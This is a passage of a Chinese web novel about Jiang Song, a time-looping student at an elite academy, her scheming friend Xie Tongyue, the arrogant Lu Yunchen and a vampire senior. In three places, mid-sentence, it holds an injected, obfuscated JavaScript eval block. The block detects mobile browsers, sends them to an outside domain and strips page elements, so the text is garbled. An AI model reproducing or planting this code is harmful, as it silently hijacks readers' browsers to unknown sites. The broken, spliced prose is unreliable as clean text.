同她预感的差不多,几分钟后,开关门的声音再度响起,紧接着就是越来越近的下楼梯的脚步声。 很快姜颂便透过细细的门缝,窥到了何筝略显匆忙的身影。 对方急急的下了楼,似乎正在追赶着什么人。 见何筝消失在了楼梯间里,姜颂心下一松,她动作极轻的将安全门关好,然后转身走到了窗前。 五楼的光线很好,灿烂的阳光透过玻璃窗落在地毯上,切割出一块又一块的整齐的光斑。 这一整层都是钢琴房,且隔音效果极佳,一般来说不会泄露任何声响,但就在姜颂朝着楼下看去时,却听到了如暴雨般急促的琴声。 ……练琴竟然没关门? 姜颂奇怪的扫了眼无人的长廊,倒也无心去听这段悦耳的琴音,她收回目光向下看去,果不其然看到了何筝四处张望的身影。 最终,一无所获的女孩抱着她的外套,彻底离开。 确定了对方的安全,姜颂终于放松下来,她舒出一口气,扭身顺着走廊继续往前走,打算从步梯下到一楼。 可当她路过第六间琴房时,却注意到房门敞了条缝隙,而透过门板上的小窗,她看到陆允谌坐在一架暗红色的钢琴前,手指灵活的抚过琴键上,正弹着一首奏鸣曲。 暑假过后就是圣德利亚的校庆,难道他是在准备节目? 然而这个想法一经出现,姜颂都觉得自己想的太多,毕竟这位大少爷恐怕不会乐意当众展示自己的琴技。 因为他觉得他们不配。 “……” 于是她不感兴趣的收回目光,可没走几步就听见了突兀且刺耳的琴声。 陆允谌竟然弹错了音。 她停了一会儿,直到琴音再度响起,她这才抬脚来到走廊尽头,顺着步梯离开。 - 网球课并未像上一个周目轮回一样取消,因着手背上的伤,任课老师没有计较姜颂的迟到,同时特许她去清理伤口,不需要和其他人一样进行练习。 于是姜颂干脆回了休息室,她换好衣服并简单的冲洗伤口,再次消了毒后,她抽了本题册进行常规练习,顺便等待BUG的回信。 做了十来页题后,见马上就要上第三堂课的姜颂返回了教室。 她发现这一次同班同学们仍收到了蝶语系列的耳坠或胸针,但让她意外的是,她的桌子上并没有出现那只深紫色的盒子。 “……” 姜颂将这事记在心上,这也让她想起了谢桐月早晨发来的信息——是来班里看过了吗? 然而还不等她坐下,就听到隐含嘲意的女音,“姜颂,你怎么没有耳坠?桐月没送给你啊。”已经戴好耳坠的长发女生——林舒蔓不阴不阳道:“我还以为你们两个的关系有多好呢。” 长发女生的同桌小声劝阻,“小舒,你别说了……” 换作平时,姜颂其实也懒得理这种事,因为这对她来说不痛不痒,而她也明白对方只敢过过嘴瘾,毕竟她的‘靠山’是谢家最受宠爱的小女儿,一般人根本就惹不起的谢桐月。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16321636|183133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可是现在她也不介意狐假虎威一次。 于是她的脚步一转,绕过书桌朝着林舒蔓走去,而对方的同桌——苹果脸女生见她过来,身体猛地一抖,抓着林舒蔓衣袖的手飞速收回,不敢再看。 姜颂停在林舒蔓跟前,她的视线落在那只翩翩欲飞的蝴蝶耳坠上,用赞叹的语气说:“真漂亮。” 林舒蔓哼了一声,还没说话,就见眼前的人突然摸出手机。 “喂,桐月?” 滴声过后,电话那头传来谢桐月的声音,姜颂微笑着盯着林舒蔓,声线却掺杂着失落,“今天怎么没有我的礼物呢?” 谢桐月似乎有点意外,“嗯?颂颂你——礼物早就派人送到你家里啦。怎么了?怎么突然问这个。” “也没什么……” 姜颂察觉到了对方忽然转变的语句,好整以暇地看着林舒蔓难看的脸色,她摁下免提键,“就是有点点吃醋。” 谢桐月立刻笑起来,“什么呀,颂颂真可爱——你当然和别人不一样啦!”她的声线越发的甜,“今天中午要不要一起吃饭?我在三楼等你。” 姜颂没拒绝,“好。” 随后她扣下电话。 林舒蔓傻了眼,她恼羞成怒道:“你怎么——你怎么还告状!” 姜颂扫了眼手机上大片的未读消息,接着反问:“我告什么状了?” 林舒蔓顿时张口结舌,因为姜颂确实没提她的名字,对方只是陈述事实而已。 可她仍气的说不出话,最后还是其他人打着哈哈将这件事揭了过去。 不过也有同学好奇的问姜颂,谢桐月究竟送了她什么,但都被她一一糊弄了过去。 时间很快来到了中午,班里的人陆陆续续离开,最后只剩下了姜颂和苹果脸女生。 她装作没看见苹果脸女生的频频回头和欲言又止,径直离开了教室。 午日的阳光很好,将身上的一层冷意驱散,姜颂浏览了一遍未读的信息。 【颂颂,帮帮我好不好?】 【求你,就这一次,就一次——】 【颂颂,颂颂,颂颂颂颂颂颂颂颂——】 【你可怜可怜我好不好?我都听你的不出现在你眼前了,求你了,求求你……】 “……” 姜颂不知道这些信息的内容有没有变化,毕竟在上一个轮回时她没怎么认真看,不过这人翻来覆去也就那么几句,可为了保险起见她还是仔仔细细地从头到尾看了一遍,以防往后蝴蝶翅膀一扇,再发生什么变故。 最后她虽然没搭理对方,但也没有把这个号码拉黑。 留着可能还有点用。 她心里这么想,顺手摸了摸口袋,却没有摸到熟悉的草莓糖,姜颂这才想起今早换了制服,所以没来得及装新的。她下意识想去超市再买一袋,可惜不顺路,便干脆放弃这个念头,直接去了餐厅。 圣德利亚内共设有三个餐厅,而姜颂要去的是距离她最近且面积最小的一号餐厅。 和其他餐厅一样,一号餐厅共有三层,各色食物琳琅满目,再挑剔的胃口也能在这儿找到合心意的菜品。只不过因为地处于校园深处,所以学生们更愿意去明亮的第二,三号餐厅。 可谢桐月更偏爱去一号餐厅的三楼,因为那里有她喜欢的甜品。 和预想当中的差不多,在餐厅内用餐的人寥寥无几,而等姜颂走出电梯,一眼就看到谢桐月正坐在大堂最里侧的四人桌前。 更让人意外的是,谢桐月的对面竟然坐着一位金发血族,两人似乎在说着什么,氛围十分不错。 “……” 搞什么? 姜颂一怔,因为她完全没想到明月忱会出现在这儿——这三年她不说是天天陪着谢桐月吃饭,但基本上也没怎么缺席过,期间都没遇见过明月忱,怎么今天就遇到了? 而且她现在要是过去做什么,当明晃晃的电灯泡? 但现在走已经来不及了,笑靥如花的谢桐月已经看到了她,还朝她挥了挥手。 “……” 这让姜颂不得不自我调理了几秒,走上前去。 7. 第 7 章 姜颂侧身避开端着餐盘的学生,她来到桌前站定,不过还不等她与谢桐月打声招呼,就听到对方率先介绍:“学长,这是我的朋友姜颂。” 不着痕迹的扫了眼桌上的两杯红色饮品,姜颂的语气拿捏得当:“学长你好。” 金发血族早在谢桐月说话时便看了过来,他的视线先是下移,接着向上掠过她胸前的名牌,最后才停留在她的脸上。 或许是因为光线的缘故,他的瞳仁被迫微缩,银灰色的眸色越发像是银河下的一汪清透湖水。 明月忱温声道:“中午好,姜颂同学。” “颂颂快坐。” 他话音刚落,谢桐月便接上了话,她的眉眼间洋溢着快乐,这让她的表情看起来更加灵动,“我在和学长讨论校庆的时候文娱部要出什么节目呢。” 谢桐月是去年上任的文娱部部长。 姜颂倒是认为自己不太适合参与到这个话题中,毕竟她不是任何一个部门的成员,于是她很干脆的转移话题:“是吗?那桐月你们聊——”她顿了顿,随即主动说:“想吃什么?还是老样子吗。” 餐厅内的菜品种类繁多,但说实话,吃来吃去喜欢的也就是那几样。 仿佛就在等这句话,谢桐月仰着小脸撒娇道:“那我要吃草莓芝士挞和奶油蘑菇汤,”她顺势看向金发血族,“学长呢?学长还想吃点什么吗?” 除了吸食血液,血族其实也可以吃人类的食物充饥——就像是吃饱喝足后的餐后小甜点。 身为‘采购员’的姜颂则将视线落在谢桐月的身上,仿佛对帮二人点餐没有任何异议。 明月忱却轻轻摇头,“谢谢,我刚才跟阿滢吃过了。” 至于吃的是什么自然不言而喻,于是姜颂也不再逗留,可她刚一转身,就听到一声惊叫。 “颂颂!你的手怎么了?!” 她侧身就见谢桐月正满脸惊愕的看着她的左手,似乎才发现她受了伤,紧接着女孩急忙起身拉过她的手腕,“痛不痛呀?” 姜颂任由对方握着她的手,“不痛。”她解释说:“摸小猫的时候不小心被抓到了。” 下一秒,她便看到谢桐月的身体十分自然的一侧,随后女生微低下头,一绺松散没有缠好的黑发垂落而下,最后她轻柔的帮她吹了吹手背。 “……” 姜颂敢肯定,从明月忱的视角来看,谢桐月这会儿应该美到了极致。 不过她并不介意做个NPC,帮助自己的这位好友施展她的人格魅力。 而谢桐月则抬手将发丝勾到耳后,她嗔怪似的说:“什么不痛,明明看起来就很痛……” 一旁的明月忱没有说话,毕竟这也不是他该说话的时候,不过姜颂余光中却注意到对方一直在专注地看着谢桐月。 真是情理之中的‘校园爱情故事’啊。 她可有可无的想。 最终姜颂好说歹说,再三保证不会有任何问题,这才被‘允许’去了餐台。 可就在她选好草莓芝士挞和奶油蘑菇汤,思考着自己吃什么的时候,耳畔却响起一道不怎么友善的男音。 “你还真擅长当保姆啊。” 姜颂在心里翻了个白眼,侧头就看见了被几个男生簇拥着的陆允谌,他看起来和上午没什么不一样,依旧傲慢,矜贵,视他人如无物。 不过…… 姜颂微不可查的撇了眼他的左手,要是没记错,这会儿他的手心应该有一处烫伤。 一边的陆允谌扫了眼餐盘上的草莓挞,“天天吃这个阿月也不腻?回头又要闹减肥。” “得了啊陆少,秀恩爱可别在哥几个面前秀。” “就是——快别显摆了,不过快订婚的人就是牛哈哈哈哈哈。” “哎呦,真到了订婚宴可别忘了告诉我们啊。” 几个人嬉皮笑脸,倒也不像陆允谌那样开口为难她。 订婚一事姜颂过去便有所耳闻,就是不知是真是假。 不过如果是真的,那陆允谌也真是渣的可以,毕竟他还有个没分干净的女朋友。 “陆哥,你也别这么说姜颂,帮忙带个饭有什么?” 其中一个没系制服扣子的男生一直盯着她的脸说:“你说是吧,姜颂。” “……” 姜颂脸上的笑容不减,她认识对方,但对他没什么好印象,总归也是烂人一个。 于是她没有回应便转过头,转手拿起一小杯柠檬水。 “……你倒是会说漂亮话,也不看看人正主理不理你。” 陆允谌的视线一收,随后似笑非笑地瞥了眼刚才说话的男生,他打量着他,转瞬间面上就浮现出一层可怖的阴鸷,他抬腿就是一脚,半点情面也不给,“你是畜牲吗?到处发情!” 男生被踹的猝不及防,差点撞上路过的学生,他也意识到自己说错了话,顿时后悔的捂着腿闭上嘴不敢反驳。 对此,在三楼就餐的其他学生们也仅仅是看了眼,便再也没人理会,也没有人议论。 毕竟大多数人都清楚陆允谌是个什么人物——站在圣德利亚金字塔顶端的利益既得者之一,同时也是个阴晴不定的瘟神。 “别生气啊陆哥。” 另一个人嘴上这么劝,也没去扶人一把,他眼珠子一转立马祸水东引,“哎我说,我没看错吧,那是明月忱?他怎么在这儿?” 本就有些烦躁的陆允谌闻言看去,立刻眉头紧拧,他没什么顾忌的低咒:“又是那个吸血虫——” 其他人见状便赶忙借口开溜下了楼。 陆允谌显然也不在意那几个跟班的离开,“姜颂,你当跑腿还当上瘾了?” “你哪只眼看到了,陆同学。” 刚端起餐盘的姜颂抬起头,在经过陆允谌身边时,她停下脚步正对着他,貌似诚恳的说:“实在不行的话,你也可以戴副眼镜。” “你!” 陆允谌被这句话给噎了一下,他最开始还没反应过来,但马上就明白了她的言外之意。到底是养尊处优惯了的少爷,他想起上午对方的态度以及浴室里的狼狈,无名的怒气在此刻压也压不住,“姜颂,你以为有阿月护着就能高枕无忧?我看你是不想在圣德利亚——” “阿允!” 一道女音及时地打断了他的话,他不快的扭头,却见谢桐月竟然和那个看着就恶心的血族一起走了过来。 而姜颂却神情无异,她看着陆允谌阴沉的仿佛能滴下水的面色,左侧唇角拉开微妙的弧度。 “颂颂,你们在说什么呀。” 没几秒钟谢桐月便来到了他们身边,她上前一步,一左一右揽住了姜颂和陆允谌的手臂,仿佛三人是紧密无间的朋友。 不管怎么说,少女的出现仍像是一针强力镇静剂,令陆允谌勉强控制住了即将爆发的脾气,但他的态度依旧不冷不热,语中带着无穷的恶意,“说什么?说有些人死皮赖脸。” 姜颂这会儿却懒得应付他,因为她的注意力全放在了明月忱的身上,这位金发血族不知何时来到了她的右后方,让她产生了一种被注视着的强烈的异样感。 于是她装着深以为然,“陆同学说得对,有些人就是死皮赖脸。” 陆允谌的脸色越发难看,他面皮紧绷,“姜颂,你说谁——” “好啦好啦,阿允你陪我去买杯奶茶。” 谢桐月早就习惯了两个好友之间的不对付,她松开挽着姜颂的手,颇为俏皮的朝她眨了眨眼,随即推着自己的竹马往楼梯的方向走,“不要在这里吵架——学长,颂颂,我和阿允马上回来哦。” 姜颂当然看不到明月忱的反应,毕竟她的后脑勺也不长眼,只不过她有些意外于在这种情况下,谢桐月竟然在陆允谌和明月忱中选择了前者。 毕竟在上一个轮回时,对方明明很介意她与明月忱共处,连说句话都会被惦记。 “……” 姜颂若有所思,不过见两人越走越远,她便端着餐盘转身,准备先将其放到桌上,却差点撞上刚好上前半步的明月忱。 “抱歉。” 金发血族反应极快的用手托住了餐盘的一侧,没让浓稠的蘑菇汤溢出来,可他的指尖却意外的触碰到了她的手指,“我来拿吧。” 冰凉的触感令姜颂不动声色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16321637|183133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的调整了手的位置,她刚要拒绝,就听见对方继续道:“你还没买自己的午餐。” “谢谢学长,麻烦你了。” 既然有人愿意帮忙她也不会拒绝,于是姜颂她客套了一句,随后便松开手重新取了餐盘。 本以为话题会就此结束,却没想到明月忱再度开了口:“刚才……你和他像是在吵架,”他微妙的停顿半秒,“学妹有些担心,所以才过来看看。” 金发血族的这句话令姜颂瞬间意识到他似乎并不清楚陆允谌的名字——这要是让陆允谌知道,还不得气的发晕。 同时她也不得不感慨语言的艺术。 难道对方是觉得谢桐月在她和陆允谌之间选择了后者,怕她心里责怪难为对方,所以才过来‘安慰’了那么一句? 这个想法令姜颂起了一身鸡皮疙瘩,如果真是这样,要么明月忱是真的善解人意,要么就是太自以为是。 “……” 心里这么想,姜颂动作不停地取走牛油果奶酪三明治,她当然也注意到他在称呼上进行了关系的区分,“嗯,桐月人很好,只是我和陆同学之间有些小矛盾。” 明月忱笑了笑,像是在宽慰她,“朋友间有小摩擦很正常,”他的眸色浅且温柔,“不过有些行为不太可取。” “……” 姜颂一瞬间就明白了这句话的意思,他肯定也注意到了陆允谌踹人的场面,但碍于谢桐月又或者别的什么才没出声制止。 可他又为什么…… 她看了明月忱一眼,金发血族沉静的站在一边,他专注的望向她,精致无暇的脸与这里的一切都格格不入。 他不应该出现在这儿,而是应该待在某个被人遗忘的林中古堡里。 “……的确。” 姜颂稍稍收敛了面上的表情,随口附和,她没必要和他对着干,毕竟捞不到什么好处。不过她也没再接话茬,而是沉默着取了两条热毛巾,并将其中的一条放在了明月忱端着的餐盘上。 随后两人没再说话,而是一起回到了四人桌前。 姜颂想都不想就选择了最外侧的座位——事实上也没得可选,这会儿她也没什么借口离开。然而她坐下后便见明月忱先是放下餐盘,接着伸手轻轻挪开了两杯未动的果汁,他将餐盘斜推过去,最后坐在了她的对面。 “……” 正用热毛巾擦手的姜颂一顿,接着很快将毛巾简单折叠放在一边,随即吃起了午餐——她这人作息规律,现在很想快点回休息室午睡,再者她和明月忱不熟,两个人没什么话题可聊,现在能坐在一张桌子上都是件稀奇事。 但是她再怎么忍,也无法完全忽视对方的目光。 他到底在看什么? 姜颂慢条斯理的咽下三明治,并喝了口酸甜的柠檬水,提醒似的开口:“学长?” “……抱歉。” 明月忱就像是在等她说话一样,甚至没有及时别开视线,他颀长的手指扶住跟前的玻璃杯,杯壁上的水珠滑下落在他的指尖,“姜颂同学,是我刚才说错话惹你不开心了吗?如果是的话,我向你道歉。” “……” 姜颂露出错愕的神色,并将话题抛了回去,“学长为什么会这样想?” 明月忱竟然认真的思考了几秒,“因为——” 然而他似乎是想到了什么,便没再继续这个古怪的话题,转而神色歉疚道:“抱歉,是我的问题,最近学生会的事情比较多,让你困扰了。” 尽管心里不信,但姜颂也还是点头作为回应,明月忱的态度明显和上个周目有些差别,但她暂时摸不清这是为什么。 “不过你的伤口最好还是再处理一下。” 明月忱准确无误的看向她的手背,他继续说:“不然会留疤。” 姜颂下意识的回了句好,接着也不怎么顾及形象,几口便吃完了三明治,随后与明月忱告别,借口离开了餐厅。 开玩笑,真要她坐在那里同他与陆允谌一起吃饭,那才叫食不下咽。 姜颂不怎么痛快的想,给谢桐月发送了一条去处理伤口的短信后,便往休息室的方向走去。 8. 第 8 章 姜颂在回休息室的路上等到了BUG的回复。 对方发了几个谢谢老板的表情包,接着又说会在晚上的时候将何筝的信息全部打包发送给她。 姜颂回了句好,接着看时间还早,便绕道去了校内的便利店。 说是便利店,但这里更像是一家小型购物超市,从吃到穿应有尽有。 她很快在琳琅满目的货架上选好了自己需要的草莓糖,排队结账时,却忽然听到了身后两个女生之间的对话。 “哎真是的,早知道我就不去吃饭先来买东西了。” 最先开口的女生万分懊悔,“那可是元野学长哎!我最喜欢的元野学长!!在学校里很难遇到他的!” 元野? 姜颂的脑海中随之浮现出一个高大的影子。 对方也是高阶血族,一头白发十分惹眼。她对元野的印象少之又少,因为他经常在外参加赛车比赛,很少来学校上课。 而讨论声还在继续。 “真搞不懂你,你前天说最爱明学长,昨天喜欢明学姐,”另一个女生无语道:“怎么今天又移情别恋了?” “你懂什么!”女生痛心疾首,像是觉得对方不解风情,“我喜欢帅哥美女难道有错吗?” 同行女生被她逗笑了,“行行行,没有错没有错。” 姜颂在两个人的笑闹中结账离开便利店,圣德利亚的午休时间很长,她决定散散步,然后再回休息室休息。 这么想着,她拿出耳机戴好,选了首轻音乐,接着便顺着大道一直走,最后在岔路口时选择了一条学校最边缘处的林荫小路。 先前的阳光照的人昏昏欲睡,进了林荫小路后反而清凉了不少,耳畔充斥的和缓的钢琴声,姜颂尽情享受着片刻的安宁,只不过在拐过一个弯儿时,她意外看到了一个正半蹲着的人影。 她的脚步一停,因为对方不仅没穿制服,甚至还戴着一只头盔,让人无法辨别出他/她到底是谁。 那人正逗弄着一只胖乎乎的三花猫,皮靴旁是散落的猫粮和开了一半的罐头,甚至有一只狸花猫跳到了TA的后背上,伸出爪子‘啪啪’拍打着黑漆漆的头盔。 往旁边看,还有一只小白猫正在玩着TA逐渐松散的鞋带。 “……” 这颇为温馨的一幕令姜颂感觉到十分稀奇,不过以圣德利亚那严苛的管理制度,对方想来也是校内人员或者合规访客。 于是她又看了眼正拍头盔拍的起劲的猫咪,觉得应该没什么问题后便继续往前走,谁成想狸花猫像是嗅到了什么味道,它从头盔人的身上跳下来伸了个懒腰,咪咪叫着拦住了她的脚步。 “……” 姜颂只能被迫停下,她刚一转身,狸花猫却好像找到了什么有趣的事,竟小跑着绕过来堵住了她。 她纳闷的回头,却见小白猫正蹲在她跟前,歪头用蔚蓝的猫眼看她,尾巴尖缓慢地打着地面。 “……” 姜颂彻底没了辙,她虽然不害怕猫,但并不希望再被挠一爪子。 而头盔人也在此刻转过头来,虽然看不到TA的脸,她也能莫名感觉出TA的某种疑惑。 姜颂只好摘下耳机,“抱歉——这位同学……?”她不好意思的笑笑,表情有些尴尬,“能麻烦你帮帮忙吗?我有点害怕。” 头盔人沉默了将近五秒钟,这才抱着极为敦实的三花猫站起了身。 也因如此,姜颂发现对方的个子很高,至少有一米九,而且身材很好,宽肩蜂腰,搭配着夹克皮靴,看起来十分帅气。 从骨架和手来看,对方大概是位男性,而且没有佩戴访客挂牌,只可能是学生或者老师。 就连胖乎乎的三花猫在他的衬托下也变得娇小许多,而接下来的一幕却让姜颂彻底愣住。 头盔人上前一步捞起小白猫,接着腾出一只手挥了挥,狸花猫便一溜烟擦着她的小腿跑了过去,最后他一股脑将三只猫都抱在了怀里。 三只猫咪就这么挤来挤去,尾巴自然下垂,像老式钟表那样摇晃,最后乖巧的像玩偶一样不再动弹。 “……谢谢你。” 姜颂承认自己没见过这场面,因为实在是可爱过头了,她见头盔人面向她,便道了句谢。 对方没说话,只有最中间的三花猫睁着碧色的眼睛,小小的咪了一声。 姜颂忍住了想要摸摸它的冲动,可还是没有继续停留,赶紧抬步离开。 回到休息室后,姜颂窝在床上小睡了一会儿,接着便起床看书,踩着上课铃回了教室。 时间飞速而逝。 下午下课后,姜颂整理好背包里的东西,她本想直接去停车场,却在看到手背上的抓伤后又坐了回去。 她回忆起上周目自己在停车场等了那么久,也为了印证某个猜测,便果断给姜知律打了通电话。 足足过了二十秒,电话才被接通。 她也不管电话那头的人在做什么,而是看着窗外的景色十分冷淡的开口:“来教室找我,我给你十分钟的时间。” 姜知律沉默了几秒,他的呼吸有些急促,接着哑声道:“……好,我知道了姐姐。” 得到了预期中的回答后,姜颂扣了电话。 她就这么等,最后姜知律卡着点出现在了教室门口。 他衣着整洁,脊背笔直,与平时并无不同。 “……” 于是姜颂没说话,也没再看他,而是起身走向教室门口,在路过姜知律身边时,她再度嗅到了那个气味—— 掺着点薄荷香的,惹人讨厌的烟味。 所以即便蝴蝶煽动翅膀,她改变了何筝的时间线,但其他人还是不受影响吗? 姜颂懒得去了解姜知律的想法,又或者他刚才的经历,她脚步不停,两人一前一后的离开教室,最后抵达停车场,坐车离开圣德利亚。 - 姜宅。 姜颂刚一进门,管家拿走她手中的书包,“小姐,谢家小姐送的礼物已经放到您的房间里了。” 换好鞋的姜颂问:“什么时候送来的?” 管家答:“上午十点左右。” 姜颂估算了一下时间点点头,等她换好衣服来到餐厅,却没看到姜知律的影子。她没问,也没什么心情问,吃好晚餐便回了自己的房间。 半小时后,吹干了头发的姜颂坐在落地窗前查看BUG发来的邮件。 里面按时间分类,详细的介绍了何筝的信息。 何筝在最初并不叫何筝,而是叫云心。 她出生于安城的下城区,父亲在她5岁那年车祸去世,三年后,她的母亲带着她改嫁到了厉城,对方同样离异,有个6岁的儿子。 从此云心不复存在,何筝出现在了户口簿其中的一页上。 何筝母亲的第二段婚姻在最开始也有蜜里调油的时候,但最后也躲不过想要拥有‘爱的结晶’。婚后第二年,何筝的母亲却因子宫肿瘤而不得不将它切除,自此何筝水深火热的生活便开始了。 男人显然不满意妻子没了生育能力,他一改之前体贴的态度,暴露出了糟糕的本性,于是何筝的母亲还没出月子便遭受到了来自婆婆的羞辱和丈夫的家庭暴力,至于何筝脸上的疤则是在十二岁那年,被同母异父的弟弟拿着刀子划出来的。 “……” 姜颂拿起马克杯喝了口水,那就对的上了,她与何筝的初次相遇大概就是在那段时间,不过那时女孩的脸上还没有那道伤疤。 她其实记得清楚,那时候她正好在外公外婆家里过十岁的生日,而一直在外忙碌的母亲姜惊秋难得回了家,可不知道为什么与外公外婆起了争执。最后,十岁的她不知所措的举着刚刚切好的生日蛋糕,看着母亲冷着脸从她面前经过,对方甚至没留下一句话便匆匆离开。 小姜颂憋着眼泪吃完那块糊满巧克力奶油的蛋糕,晚上怎么也睡不着,她起床去卫生间的时候,却偷偷在外公外婆的房外听到了他们的交谈,大概就是母亲不让他们省心,一个女孩子家天天在外面跑,现在又要去安城云云。 姜颂不知道那时的自己是怎么想的,似乎是有一股劲儿,促使她凌晨三点从家中溜了出去。 可惜那会儿她没办法在无监护人的情况下购买各类车票机票,于是她就这么走走停停,竟然硬是靠自己走到了明莱区。 但就算她再怎么早熟,也终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16321638|183133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究是个十岁的小孩子。所以在被衣着得体,谎称是她父亲的陌生人拽住手臂时,小姜颂惊慌失措,可一只小手却忽然握住了她冰凉的手指。 那只手的主人就是何筝。 她仍记得小何筝的模样,小女孩扎着丸子头,穿着一身黑色的肥大棉服,葡萄似的眼珠看着她。 “姐姐,你怎么在这里呀,妈妈叫我们去吃饭呢,”小何筝甜甜的笑,看起来非常可爱,随后鼓着嘴瞪着拖拽她的男人,“你是谁呀?干嘛拽我姐姐?你这个坏人!坏人!我们不认识你!!” 紧接着小何筝放声大哭,扑过去捶打那个陌生男人,男人恼怒之下推了她一把,这才有围观的路人上前制止。 最后有好心人报了警,她和小何筝一起被带到了警局。 不同于寒冷的室外,警局内的暖气很足,烘的人脸红扑扑的,警员姐姐和哥哥都很热情,在联系了她们的家人后,又买来了餐食和新衣服。 小何筝脱下棉服时,姜颂看到了她脖子上的一块心形胎记。 “谢谢你。” 抱着热水的小姜颂仔细地看着小女孩的脸,试图将她刻进心里,“谢谢你救了我。” 坐在圆桌前的小何筝吃着鸡腿,嘴巴油亮亮的,听到她说话后便用力将食物咽下去,“不客气,漂亮姐姐。” 小姜颂紧张的情绪彻底消散,她将桌上的水杯推过去,“妹妹,你是怎么发现那个人不是我爸爸的?” “唔……因为你们长得一点也不像耶,”小何筝捧着水杯喝了一大口热水说:“而且他的眼神好奇怪,爸爸才不会那样呢!” 啊…… 爸爸会有什么样的眼神呢。 小姜颂没思考太久,就被推门而入,满眼是泪的外婆抱进怀里,老人也没有责怪她,只是抱着她问宝贝饿不饿冷不冷,走那么久的路脚痛不痛。 这让小姜颂终于忍不住自责的哭了出来,她一边道歉,一边后怕,如果她没有幸运的遇到何筝,自己是不是就再也回不了家了? 到时候外公外婆又该怎么办? 最后她哭累了,意识逐渐迷糊起来,她朦胧中听到外婆吩咐了管家什么,可她怎么也听不清,而是彻底睡了过去。 等再醒来时,她已经回到了外公外婆家。后来她也问过外婆关于小何筝的事情,老人笑呵呵的摸着她的发顶,说不用担心,她已经帮她答谢了小恩人。 姜颂合上眼不再回忆那段经历,她再往下看,发现里面提到了何筝家不知道为什么突然发了笔小财,连带着换了房子和子女读书的学校。 那大概就是姜家给的一笔‘答谢费’。 姜颂继续浏览文件,何筝从小到大的成绩都很好,在年级里基本都可以拿到第一,她甚至还在外面打了几份工,所以能考到圣德利亚完全靠她自己的本事。 而资料则截止到何筝进入圣德利亚,就读于一年级A班,之后的一切都是空白。 本来也没指望BUG能查到学校里的东西,姜颂明白校内发生的事还需要她自己调查。 紧接着她拿起手机保存了资料上何筝的手机号,顺势在社交软件上搜索了一下,发现女孩的社交头像是一只在空中飞翔的鸟,同时还隐藏了自己的朋友圈。 姜颂试探性的用小号添加了她的好友,接着又打算细看那些打工地点,可眼前却忽然弹出了谢桐月的视频通话请求。 她没怎么犹豫便点击了绿色按钮。 女生妍丽的影像很快出现在了屏幕上,而谢桐月打来视频也只是关心她的伤怎么样,并未提及中午的事。 姜颂和对方聊了半个多小时,最后她合上笔记本电脑,看着手背上的抓伤发了会儿呆,这才回到地毯上拆开了拼图包装。 十点。 她拼好了边框。 十一点。 她拼完了一半。 十一点五十九分。 她手里捏着最后一块拼图,抬头看向墙壁上的挂钟。 当指针移到12时,她低头将拼图填进画面,而亮着的手机屏幕也出现了改变。 四月二十日 十二点整 她赌对了,并迎来了崭新的一天。 9. 第 9 章 姜颂还算安稳的睡了一夜。 第二天她神清气爽的起了床,照例去健身房跑了会步,然后洗澡。 只不过她左手上的抓痕沾了水,现在周边的皮肤微微隆起且发红。于是她又回房间仔细地处理了伤口,又缠了层不松不紧的纱布,接着换上制服。 见时间充裕,她打开了桌上未动的方形漆皮首饰盒,让她意外的是,盒子里的礼物与上个周目有着微妙的不同。 油画质感的粉米色蝶形耳坠精致小巧,正卧在深绿色的天鹅绒上。 第二层的小蝴蝶戒指应该与耳饰所属于同一个系列,藏着细闪的金色,带着纯然的春天氛围,她戴上戒指,发现戒圈的大小很合适。 这也是蝶语系列的新款吗? 姜颂回忆了一下前阵子看的奢侈品图册,似乎没看到谢氏珠宝推出这款戒指和耳饰。 不过这枚戒指倒是比较符合她的审美,姜颂又从自己的首饰台上挑了几枚戒指叠戴搭配。 紧接着她考虑了几秒,决定回赠一份礼物,便从衣帽间里翻出一只方形小盒子,里面装着星球系列盲盒的隐藏款,由于已经绝版,所以当初她找了很久才收到了手。 她将盒子放进一只手提袋中,随后拎着它下楼前往餐厅。 早餐依旧简单,却与昨日完全不同。 姜颂的胃口还算不错,所以吃的比平时多了点,可是本该早早就下来吃早餐的姜知律却迟迟没有出现。 “小姐。” 一刻钟前离开的管家刘姨重新出现在了她的身边,并为她添了半杯西柚汁,“少爷发烧了,刚吃了药,这会儿还在休息。” “好。刘姨,帮他请个假。” 姜颂咀嚼着香甜的玉米饼,心情并为因此受到影响,“如果下午还没好就请张医生过来看看。” 管家没有片刻迟疑地回:“是,小姐。” 五分钟后,漱好口的姜颂从洗漱间里走出,她接过管家手里的皮包,正打算离开,却见一个高挑的人影匆匆出现。 本该在房间睡觉的姜知律此刻穿着圣德利亚的衬衣制服,扣子板正的系到了最顶端,显得乖顺,一副典型的好学生的模样。 